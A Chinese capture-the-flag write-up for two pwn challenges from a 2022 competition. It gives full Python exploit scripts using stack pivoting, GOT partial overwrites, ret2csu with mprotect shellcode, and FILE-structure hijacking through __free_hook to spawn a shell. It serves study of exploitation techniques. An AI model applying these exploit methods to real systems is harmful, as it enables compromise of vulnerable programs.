1. 程式人生 > 其它 >2022DASCTFXSU三月春季挑戰賽-pwn-wp

2022DASCTFXSU三月春季挑戰賽-pwn-wp

目錄

2022DASCTFXSU三月春季挑戰賽-pwn-wp

今天終於有空來寫下wp。最後一題的CVE-2022-0185在學習中,未完待續。

checkin

這題最開始想用one gadget去做,後來發現libc-2.31one gadget都比較嚴格,於是換成puts洩露再讀取輸入執行system("/bin/sh")

checksec

漏洞點

棧溢位,可溢位0x10位元組,覆蓋掉rbp

ret

利用思路

觀察0x4011BF處的彙編可知,rax等於rbp-0xb0,然後在0x4011CB處將rax賦值給了rsi,因此,只要控制了rbp,相當於可以在任意地址處寫入0xb0個位元組。

至少兩種思路,主要後面不一樣。

思路一:

  • 棧遷移到bss

  • 控制rbp後再進入0x4011BF,然後在bss段上rop

  • 使用partial overwrite 修改read@got,使其為syscall; ret。這裡由於read的地址偏移為0xff0,加個0x10直接進位了,所以還有半個位元組需要猜測一下,概率為1/16

  • 使用read控制rax10,並修改read@got,隨即利用ret2csu執行mprotect(bss, 0x1000, 7)

  • 跳轉到準備好的shellcode執行獲取shell

思路二:

  • 棧遷移到bss
  • 控制rbp後再進入0x4011BF,然後在bss段上rop
  • 使用magic gadgetadd [rbp-0x3d], ebx; ret,將setvbuf@got修改為puts的地址
  • 洩露出read地址,計算得到system地址
  • 再次read讀取輸入,跳轉執行system('/bin/sh')即可

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

if gift.remote:
    libc = ELF('./libc.so.6')
    gift['libc'] = libc

pop_rdi_ret = CurrentGadgets.pop_rdi_ret()
pop_rsi_r15_ret = CurrentGadgets.pop_rsi_r15_ret()
leave_ret = CurrentGadgets.leave_ret()
magic = CurrentGadgets.magic_gadget()
pop_rbp_ret = CurrentGadgets.pop_rbp_ret()
ret = CurrentGadgets.ret()
read_again = 0x4011bf
bss_addr = 0x404080 + 0xa00


def exp_magic():
    pop_rbx_rbp_r12131415 = 0x40124a

    # 棧遷移到bss段
    payload = flat({
        0xa0: [
            bss_addr+0xa0,
            read_again
        ]
    })

    s(payload)

    libc_puts = libc.sym.puts
    libc_setvbuf = libc.sym.setvbuf

    offset = (libc_puts - libc_setvbuf) if libc_puts > libc_setvbuf else (0x100000000 + libc_puts - libc_setvbuf)

    # 修改setvbuf為puts
    payload = flat(
        {
            0: [
                pop_rbx_rbp_r12131415,
                offset,
                elf.got.setvbuf+0x3d,
                0, 0, 0, 0,
                magic,
                ret,
                pop_rdi_ret,
                elf.got.read,
                elf.plt.setvbuf,
                pop_rbp_ret,
                bss_addr+0xa0,
                read_again
            ],
            0xa0: [
                bss_addr - 8,
                leave_ret
            ]
        }
    )
    s(payload)

    read_addr = u64_ex(rl()[:-1])
    libc_base = read_addr - libc.sym.read
    log_libc_base_addr(libc_base)
    libc.address = libc_base

    # 讀取輸入,執行system('/bin/sh')
    payload = flat({
        0:[
            pop_rdi_ret,
            libc.search(b"/bin/sh").__next__(),
            libc.sym.system
        ],
        0x70: leave_ret,
        0xa0: [
            bss_addr - 8,
            leave_ret
        ]
    })
    s(payload)
    sleep(1)
    sl("cat /flag")
    m = rls("flag")
    if b"flag" in m:
        log_ex(f"Get flag: {m}")
    ia()

def exp_partial_write():
    bss_addr = elf.got.setvbuf
    # 棧遷移
    layout = {
        0xa0: [
            bss_addr+0xa0,
            read_again
        ]
    }
    s(flat(layout))

    # rop1
    layout = {
        0xa0: [
            bss_addr,
            leave_ret
        ],
        0: [
            bss_addr+0x68,
            pop_rsi_r15_ret,
            elf.got.read-8,
            0,
            elf.plt.read,
            0x40124a,  # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
            0, # rbx
            2, # rbp
            bss_addr & ~0xfff,
            0x1000,
            7,
            elf.got.read,
            0x401230, # csu up
            ShellcodeMall.amd64.execve_bin_sh
        ]
    }
    s(flat(layout))
    s(b"a"*8 + p16(0x8000))
    sleep(1)
    sl("cat /flag")
    m = rls("flag")
    if b"flag" in m:
        log_ex(f"Get flag: {m}")
    ia()

if __name__ == "__main__":
    # for i in $(seq 1 20); do ./exp.py de ./checkin -nl ; done
    # try:
    #     exp_partial_write()
    # except:
    #     pass

    exp_magic()

打遠端:

爆破:

wedding

這題剛開始被libc給坑了,最開始本地使用的是2.31-0ubuntu9.2_amd64除錯的,這個版本的file_jump_table是可寫的;但是遠端給的是2.31-0ubuntu9.7_amd64,這個版本的file_jump_table都是不可寫的。因為我最初使用的思路是改寫stdout->flags/bin/sh,修改_IO_file_jumps->_IO_file_xsputnsystem去拿shell,所以那天上午爆破了好久都失敗了......所以以後,還是老老實實用給的libc去除錯吧。除錯的時候建議關閉aslr

checksec

漏洞點

  1. prepare中沒有校驗offset

  2. revise中沒有校驗index:

建議把這個標識變數改一下,要不然wish/wlsh/w1sh容易看花眼。。。

利用思路

題目給的條件為:

  • 可以分配任意大小的記憶體
  • 可以在任意偏移處覆蓋,但是隻能覆蓋為0x135或者0x1314,覆蓋機會為3
  • 可以在heap任意偏移處的指標寫入8或者3個位元組,各有1次機會。

當然,上面說的任意也不是完全任意,受限於my_read只讀取8個位元組,所以實際能控制的偏移(數字)為:-999999999999999

我們知道,在申請記憶體足夠大,大概大於128K的時候,會呼叫mmap對映虛擬記憶體頁,此時對映的虛擬記憶體頁會位於libc.so對映空間的上方。此時的偏移可控,也就是可以修改libc.so上的任意的資料,修改的內容為2位元組,固定。

由於沒有地址,樸素的想法就是先洩露地址,因此,打_IO_2_1_stdout_結構體去洩露地址。有地址後就好辦了,思路為:

  • 申請大記憶體,利用任意偏移修改stdout->flagsstdout->_IO_write_base,洩露地址並計算出PIE基地址和libc基地址

  • 利用一個跳板,和兩次分別寫8/3位元組的機會,修改change3change8為小負數,這樣就能繼續寫很多次。我選擇的跳板在0x3e20偏移處,第一次可以寫8個位元組,修改為任意地址,第二次就能將change3修改為小負數

    然後,使用0x4008這個跳板,就可以把change8也修改為小負數

  • 繼續使用跳板,將stderr->vtable修改為_IO_str_jumps;將_IO_2_1_stderr_+131處修改為sh;;將__free_hook修改為system;將stderr->flags修改為0x80;最後把bss段上的stdout修改為_IO_2_1_stderr_。接著,在呼叫puts(xxx)的時候,會呼叫stderr->vtable->_IO_file_xsput,實際呼叫的是_IO_str_finish,接著呼叫free(fp->_IO_buf_base),就是呼叫system("sh;")

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

def prepare(size:int, offset:int=None):
    if size > 0x7fffffff:
        size -= (0x1 << 32)
    if offset and offset > 0x7fffffff:
        offset -= (0x1 << 32) 
    sla("your choice >> \n", "1")
    sa("how much do you prepare>> \n", str(size).ljust(8, "\x00"))
    if offset is not None:
        sa(">> \n", str(offset).ljust(8, "\x00"))


def revise(idx, data):
    sla("your choice >> \n", "2")
    sla("which packet you want to revise>> \n", str(idx))
    sa("now write your wish>> \n", data)

# 呼叫mmap 分配到libc上方
# 修改stdout->flags
off_first = 0x42ff0
prepare(0x40000, off_first + libc.sym['_IO_2_1_stdout_'] + 1)

# 呼叫mmap 分配到libc上方
# 修改stdout->write_base
prepare(0x40000, off_first + 0x83ff0 - 0x42ff0 + libc.sym['_IO_2_1_stdout_'] + 0x20)

# 根據標誌尋找到地址
io.recvuntil(p64(0xfffffffffffffff8), timeout=10)
m1 = io.recvn(0x10)

code_addr = u64_ex(m1[:8])
libc_addr = u64_ex(m1[8:0x10])
code_base = code_addr - 0x4040
libc_base = libc_addr - 0x1f1530
log_libc_base_addr(libc_base)
log_code_base_addr(code_base)

if (libc_base >> 40) != 0x7f or ((code_base >> 40) != 0x55 and (code_base >> 40) != 0x56):
    errlog_exit("Wrong addr")

libc.address = libc_base
# check
revise(-80, p64(code_base+0x4050+1))
revise(0x3ec, p16(0xffee)+p8(0xff))

revise(-19, p8(0x55))
revise(-19, p16(0xffee)+p8(0xff))

# _IO_2_1_stderr_ 
str_jumps_off = 0x1e9560
revise(-80, p64(libc.sym['_IO_2_1_stderr_'] + 216)) # stderr->vtable

revise(0x3ec, p32_ex(libc_base + str_jumps_off - 0x28)[:3])

revise(-80, p64(libc.sym['__free_hook']))
revise(0x3ec, p64(libc.sym.system)[:3])

revise(-80, p64(libc.sym['__free_hook']+3)) #
revise(0x3ec, p64(libc.sym.system)[3:6])

revise(-80, p64(libc.sym['__free_hook']+6)) #
revise(0x3ec, p64(libc.sym.system)[6:])

revise(-80, p64(libc.sym['_IO_2_1_stderr_'] + 131)) # stderr -> 
revise(0x3ec, "sh;")

revise(-12, p8(0x80))

revise(-80, p64(code_base + 0x4020)) # stdout 

revise(0x3ec, p64(libc.sym['_IO_2_1_stderr_'])[:3])

ia()

這裡使用0xfffffffffffffff8來找地址,有程式碼段地址和libc地址:

本地多試幾次就出來了:

遠端不知道是不是偏移不對,stdout那裡一直沒有洩露,不知道啥情況。所以,這個大概率是打遠端失敗的非預期解了。

SU_message

CVE除錯學習中, #TODO

這裡有出題人的出題報告:https://kagehutatsu.com/?p=551

引用與參考

1、My Blog

2、Ctf Wiki

3、pwncli